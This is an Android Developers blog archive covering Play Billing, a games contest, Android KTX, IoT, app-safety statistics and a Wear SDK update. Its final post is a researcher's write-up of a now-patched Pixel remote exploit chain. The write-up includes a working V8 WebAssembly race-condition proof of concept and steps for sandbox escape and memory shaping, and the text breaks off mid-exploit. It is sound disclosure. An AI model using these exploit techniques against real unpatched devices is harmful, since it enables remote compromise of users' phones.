Author Archives: Android Developers

A better way to track your promotions on Google Play Billing

Posted by Neto Marin, Developer Advocate

Promotions can be a valuable tool to increase user engagement or attract new users by offering content or features to a limited number of users free of charge.

We are happy to share an improvement in the Google Play Developer API that makes it easier to track your promotions from your own backend. Starting today, the API for Purchases.products will return "Promo" as a new value for the field purchaseType when the user redeems a promo code. Now, the possible values are:

  • 0. Test (test purchases)
  • 1. Promo (Promo code redemption purchase)

For purchases made using the standard in-app billing flow, the field will continue to not be set in the API response.

Please note: This state is only returned by the Purchases.products API. For subscriptions you may use Free Trials to offer free of charge subscription periods.

For more details about how to create and redeem promo codes, check the In-app Promotions documentation. For more details about the server-side API, check the Google Play Developer API documentation.

Congratulations to the winners of the Google Play Indie Games Contest 2017 in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

We have just wrapped up the second edition of the Google Play Indie Games Contest in Europe! The iconic Saatchi Gallery in London welcomed 20 developers, from 12 countries, who showcased their games to the audience of gamers, industry experts, and journalists.

The finalists' games were on show to the public, who spent three hours trying out their games and voting for their favourites, alongside the Google Play team. The top 10 finalists were then selected, and went on to pitch their games, and compete for the big prizes in front of our jury.

Please join us in congratulating the winners! They will be bringing home a well-deserved diploma, along with a prize package that will help them reach more gamers worldwide; including premium placement on the Google Play Store, marketing campaigns of up to 100,000 EUR and influencer campaigns of up to 50,000 EUR, the latest Google hardware, tickets to Google I/O, and much more.

It's really inspiring to see the excitement around this second edition, and great to see the new wave of indie games coming from Europe. We are already looking forward to playing the games that will be developed in 2018!

Check out the main winners and the other finalists on the Google Play Store!

Winner

Bury me, my love

Playdius

France

A reality-inspired interactive fiction designed for mobile phones. It tells the story of Nour, a Syrian woman trying to reach Europe in hope of a better life.

Runners up

Old Man's Journey

Broken Rules Interactive Media GmbH

Austria

A story game about life's precious moments, broken dreams, and changed plans.

Yellow

Bart Bonte

Belgium

A puzzle game for you! A love letter to a marvelous colour and to the little wonder called touchscreens. Warning: very yellow!

The other games that have made it into top 10 are:

Captain Tom Galactic Traveler

Picodongames

France

An open world platformer and space exploration game. Embark on an exploratory mission, discover planets, collect oxygen, play with gravity.

I Love Hue

Zut!

United Kingdom

A minimalist, ambient puzzle game influenced by mindfulness apps and abstract art. Players arrange shuffled mosaics of coloured tiles into perfectly ordered palettes.

Jodeo

Gamebra.in

Turkey

Jodeo is a 2D jelly critter. There's something it's curious about: what if 3D objects and 2D physics are in the same game? How can 2D objects interact with 3D objects?

Kami 2

State of Play

United Kingdom

The calming yet addictive puzzle game is back! With over 100 handcrafted puzzles, it takes you on a mind-twisting journey that combines logic and problem-solving.

Kenshō

FIFTYTWO

Russia

A tile sliding puzzle with a wonderful soundtrack. Mysterious things happen in a ruined room. Doors inside that room lead to different worlds and beautiful landscapes.

No More Buttons

Tommy Søreide Kjær

Norway

A hand-drawn platformer where the buttons are part of the environment.

The Big Journey

Catfishbox

Ukraine

Designed for kids and adults alike, this a beautiful, casual adventure. Tilt to roll around and explore a beautiful world with Mr. Whiskers.

How useful did you find this blogpost?

Introducing Android KTX: Even Sweeter Kotlin Development for Android

Posted by Jake Wharton (@JakeWharton), Florina Muntenescu (@FMuntenescu) & James Lau (@jmslau)

Today, we are announcing the preview of Android KTX - a set of extensions designed to make writing Kotlin code for Android more concise, idiomatic, and pleasant. Android KTX provides a nice API layer on top of both Android framework and Support Library to make writing your Kotlin code more natural.

The portion of Android KTX that covers the Android framework is now available in our GitHub repo. We invite you to try it out to give us your feedback and contributions. The other parts of Android KTX that cover the Android Support Library will be available in upcoming Support Library releases.

Let's take a look at some examples of how Android KTX can help you write more natural and concise Kotlin code.

Code Samples Using Android KTX

String to Uri

Let's start with this simple example. Normally, you'd call Uri.parse(uriString). Android KTX adds an extension function to the String class that allows you to convert strings to URIs more naturally.

Kotlin
Kotlin with Android KTX
val uri = Uri.parse(myUriString)
val uri = myUriString.toUri()

Edit SharedPreferences

Editing SharedPreferences is a very common use case. The code using Android KTX is slightly shorter and more natural to read and write.

Kotlin
Kotlin with Android KTX
sharedPreferences.edit()
           .putBoolean(key, value)
           .apply()
sharedPreferences.edit { 
    putBoolean(key, value) 
}

 

Translating path difference

In the code below, we translate the difference between two paths by 100px.

Kotlin
Kotlin with Android KTX
val pathDifference = Path(myPath1).apply {
   op(myPath2, Path.Op.DIFFERENCE)
}

val myPaint = Paint()

canvas.apply {
   val checkpoint = save()
   translate(0F, 100F)
   drawPath(pathDifference, myPaint)
   restoreToCount(checkpoint)
}


val pathDifference = myPath1 - myPath2

canvas.withTranslation(y = 100F) {
   drawPath(pathDifference, myPaint)
}

Action on View onPreDraw

This example triggers an action with a View's onPreDraw callback. Without Android KTX, there is quite a bit of code you need to write.

Kotlin
view.viewTreeObserver.addOnPreDrawListener(
       object : ViewTreeObserver.OnPreDrawListener {
           override fun onPreDraw(): Boolean {
               viewTreeObserver.removeOnPreDrawListener(this)
               actionToBeTriggered()
               return true
           }
       })
Kotlin with Android KTX
view.doOnPreDraw { actionToBeTriggered() }

There are many more places where Android KTX can simplify your code. You can read the full API reference documentation on GitHub.

Getting Started

To start using Android KTX in your Android Kotlin projects, add the following to your app module's build.gradle file:

repositories {
    google()
}

dependencies {
    // Android KTX for framework API
    implementation 'androidx.core:core-ktx:0.1'
    ...
}

Then, after you sync your project, the extensions appear automatically in the IDE's auto-complete list. Selecting an extension automatically adds the necessary import statement to your file.

Beware that the APIs are likely to change during the preview period. If you decide to use it in your projects, you should expect breaking changes before we reach the stable version.

androidx: Hello World!

You may notice that Android KTX uses package names that begin with androidx. This is a new package name prefix that we will be using in future versions of Android Support Library. We hope the division between android.* and androidx.* makes it more obvious which APIs are bundled with the platform, and which are static libraries for app developers that work across different versions of Android.

What's Next?

Today's preview launch is only the beginning. Over the next few months, we will iterate on the API as we incorporate your feedback and contributions. When the API has stabilized and we can commit to API compatibility, we plan to release Android KTX as part of the Android Support Library.

We look forward to building Android KTX together with you. Happy Kotlin-ing!

IoT Developer Story: Deeplocal

Posted by Dave Smith, Developer Advocate for IoT

Deeplocal is a Pittsburgh-based innovation studio that makes inventions as marketing to help the world's most loved brands tell their stories. The team at Deeplocal built several fun and engaging robotics projects using Android Things. Leveraging the developer ecosystem surrounding the Android platform and the compute power of Android Things hardware, they were able to quickly and easily create robots powered by computer vision and machine learning.

DrawBot

DrawBot is a DIY drawing robot that transforms your selfies into physical works of art.

"The Android Things platform helped us move quickly from an idea, to prototype, to final product. Switching from phone apps to embedded code was easy in Android Studio, and we were able to pull in OpenCV modules, motor drivers, and other libraries as needed. The final version of our prototype was created two weeks after unboxing our first Android Things developer kit."

- Brian Bourgeois, Producer, Deeplocal

Want to build your own DrawBot? See the Hackster.io project for all the source code, schematics, and 3D models.

HandBot

A robotic hand that learns and reacts to hand gestures, HandBot visually recognizes gestures and applies machine learning.

"The Android Things platform made integration work for Handbot a breeze. Using TensorFlow, we were able to train a neural network to recognize hand gestures. Once this was created, we were able to use Android Things drivers to implement games in easy-to-read Android code. In a matter of weeks, we went from a fresh developer kit to competing against a robot hand in Rock, Paper, Scissors."

- Mike Derrick, Software Engineer, Deeplocal

Want to build your own HandBot? See the Hackster.io project for all the source code, schematics, and 3D models.

Visit the Google Hackster community to explore more inspiring ideas just like these, and join Google's IoT Developers Community on Google+ to get the latest platform updates, ask questions, and discuss ideas.

Android Developer Story: Big Fish Games uses open beta testing to de-risk their game launch

Posted by Kacey Fahey, Developer Marketing, Google Play

Based in Seattle, Big Fish Games was founded in 2002. Starting as a game studio, they quickly turned into a major publisher and distributor of casual games. Leading up to the launch of their hit time management game, Cooking Craze, the team ran an open beta on Google Play.

Big Fish Games found that using open beta provided more than 10x the amount of user feedback from around the world, and also gave them access to key metrics and Android Vitals in the Play Console. The ability to monitor game performance metrics pre-launch allowed the team to focus on areas of improvement, which lead to a 21% reduction in crash rate. The larger sample size of beta testers also provided more insights on player behavior and helped achieve a +7% improvement in day 1, day 7, and day 30 retention rates.

You can also learn more pre-launch best practices and strategies to improve performance post-launch at our Google Developer Day on Monday, March 19th at GDC. Sign up to stay informed.

How useful did you find this blogpost?

How we fought bad apps and malicious developers in 2017

Posted by Andrew Ahn, Product Manager, Google Play

Apps bring devices to life -- letting you book a ride instantly, connect and share memories with friends, be alerted about current events, play games with someone across the globe, and get work done in the office or on the road. Google Play is committed to providing a safe experience for billions of Android users to find and discover such apps. Over the years, this commitment has made Google Play a more trusted and safer place. Last year we've more than halved the probability of a user installing a bad app, protecting people and their devices from harm's way, and making Google Play a more challenging place for those who seek to abuse the app ecosystem for their own gain.

In 2017, we took down more than 700,000 apps that violated the Google Play policies, 70% more than the apps taken down in 2016. Not only did we remove more bad apps, we were able to identify and action against them earlier. In fact, 99% of apps with abusive contents were identified and rejected before anyone could install them. This was possible through significant improvements in our ability to detect abuse - such as impersonation, inappropriate content, or malware - through new machine learning models and techniques.

We've also developed new detection models and techniques that can identify repeat offenders and abusive developer networks at scale. This resulted in taking down of 100,000 bad developers in 2017, and made it more difficult for bad actors to create new accounts and attempt to publish yet another set of bad apps.

Here are a few examples of bad apps we took action against in 2017:

Copycats

Attempting to deceive users by impersonating famous apps is one of the most common violations. Famous titles get a lot of search traffic for particular keywords, so the bad actors try to amass installs leveraging such traffic. They do this by trying to sneak in impersonating apps to the Play Store through deceptive methods such as using confusable unicode characters or hiding impersonating app icons in a different locale. In 2017, we took down more than a quarter of a million of impersonating apps.

Inappropriate content

We don't allow apps that contain or promote inappropriate content, such as pornography, extreme violence, hate, and illegal activities. The improved machine learning models sift through massive amounts of incoming app submissions and flag them for potential violations, aiding the human reviewers in effectively detecting and enforcing on the problematic apps. Tens of thousands of apps with inappropriate content were taken down last year as a result of such improved detection methods.

Potentially Harmful Applications (PHAs)

PHAs are a type of malware that can harm people or their devices -- e.g., apps that conduct SMS fraud, act as trojans, or phishing user's information. While small in volume, PHAs pose a threat to Android users and we invest heavily in keeping them out of the Play Store. Finding these bad apps is non-trivial as the malicious developers go the extra mile to make their app look as legitimate as possible, but with the launch of Google Play Protect in 2017 we've reduced the rate of PHA installs by a factor of 10 compared to 2016.

Despite the new and enhanced detection capabilities that led to a record-high takedowns of bad apps and malicious developers, we know a few still manage to evade and trick our layers of defense. We take these extremely seriously, and will continue to innovate our capabilities to better detect and protect against abusive apps and the malicious actors behind them. We are committed to make Google Play the most trusted and safe app store in the world.

How useful did you find this blogpost?

Join us for Google Developer Day at GDC 2018

Posted by Kacey Fahey, Developer Marketing, Google Play

We're hosting another Google Developer Day at this year's Game Developers Conference (GDC) on Monday, March 19th.

Join us for a full day, where we'll kick things off with a keynote to share our latest news for game developers, followed by three sessions focused on innovation & new platforms, pre-launch best practices, and strategies to improve performance post-launch. Each session will include mini-talks from different Google teams and developer partners sharing new tools, learnings and more.

We'll also have a booth in Moscone South, Wednesday (March 21) through Friday (March 23), offering three days of additional talks from many Google teams and a chance for you to ask the experts any of your questions. Stop by to hear talks, meet experts, and try out exciting demos. These events are part of the official Game Developers Conference and require a pass to attend.

Learn more about Google's activities throughout the week on our event site where you can sign up to stay informed. For those who can't make it in person, join the live stream starting at 10am PST on Monday, March 19th.

How useful did you find this blogpost?

Android Wear SDK and Emulator Update

Posted by Hoi Lam, Lead Developer Advocate, Android Wear
Today we launched the latest version of the Android Wear SDK (2.2.0) with several watch face related enhancements. These include the addition of an unread notification indicator for all watch faces, which is planned to be part of the upcoming consumer release of Android Wear. With the Wear SDK 2.2.0, you can customize the notification indicator or display your own. This feature is available to the developer community early, via the SDK and emulator, so you can verify that the indicator fits the design of your watch face. In addition, we are adding enhancements to the ComplicationDrawable class and publishing the final version of the Wear emulator based on Android Oreo.

Introducing the unread notification indicator


Notification is a vital part of the Wear experience. As a result, starting from the next consumer release of Wear (version 2.9.0), a dot-shaped indicator will be displayed by default at the bottom of the watch face if there are new, unread notifications. Watch face developers can preview the indicator with their watch faces by using the latest version of the emulator. Developers can customise the indicator's accent color via WatchFaceStyle.setAccentColor - the default color is white as shown in the example below, but developers can set the color for the ring around the dot to an accent color of their choice, to match the rest of the watch face.
If the new indicator does not fit with the design of your watch face, you can switch it off using WatchFaceStyle.setHideNotificationIndicator and choose another option for displaying the notification, including: 1) displaying the number of unread notifications in the system tray using WatchFaceStyle.setShowUnreadCountIndicator, or 2) getting the number of unread notifications using WatchFaceStyle.getUnreadCount and displaying the number in a way that fits your watch face's unique style.

Enhancement to ComplicationDrawable


We launched the ComplicationDrawable class at last year's Google I/O, and we are continuing to improve it. In this latest SDK release, we added two enhancements:
  • Permission Handling - If the watch face lacks the correct permission to display the content of a complication, the complication type of TYPE_NO_PERMISSION is issued. ComplicationDrawable now handles this automatically and will launch a permission request in onTap. If you previously implemented your own code to start the permission screen, please check that the permission screen is not triggered twice and, if necessary, remove unneeded code.
  • Drawable Callback - If a complication contains an image or an icon, it can take a small amount of time to load after the other initial data arrives. Our previous recommendation therefore was that you redraw the screen every second. But this is unnecessary for watch faces that only update once per minute, for example. As a result, we have added new support for Drawable.Callback to ComplicationDrawable. Developers who update the screen less frequently than once per second should adopt this new callback to redraw the watch face when images have loaded.
For more, please see the Android Wear Release Notes which includes other information regarding the emulator.

More improvements to come


Many of you have noticed a steady release of enhancements to Android Wear over the last few months since the launch of Wear 2.0. We are developing many more for the months ahead and look forward to sharing more when the features are ready.



Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by the Android Security Team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program's expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you'd like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android's libgralloc module that is used to escape from Chrome's sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

A simple PoC is as follows:

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);

//worker.terminate(); 
</script>
</html>

The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread's bound check, the instruction " call 0" can be modified by the worker thread to "call 128" and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the "call 0" Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If "call 0" is modified to "call $leak", registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.store
    i32.const 4
    get_local 1
    i32.store
    i32.const 8
    get_local 2
    i32.store
    i32.const 12
    get_local 3
    i32.store
    i32.const 16
    get_local 4
    i32.store
    i32.const 20
    get_local 5
    i32.store
    i32.const 0
  ))

Not only the instruction "call 0" can be modified, any "call funcx" instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4
    i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If "call funcx" is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map                                                                                                                                                       
Properties                                                                                                                                                
Elements                                                                                                                                                  
ByteLength                                                                                                                                                
BackingStore                                                                                                                                              
AllocationBase                                                                                                                                            
AllocationLength                                                                                                                                          
Fields                                                                                                                                                    
internal                                                                                                                                                  
internal                                                                                                                                                                                                                                                                                                      


/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer's properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    ……
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        }
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
}
……
    return err;
}

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome's sandboxed process, so it's possible to unmap any pages in system_server from Chrome's sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
{
  ……
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
                    strerror(errno));
            return -errno;
        }
        hnd->base = 0;
}
……
    return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
{
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    }
    return err;
}

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome's sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome's Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
......

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
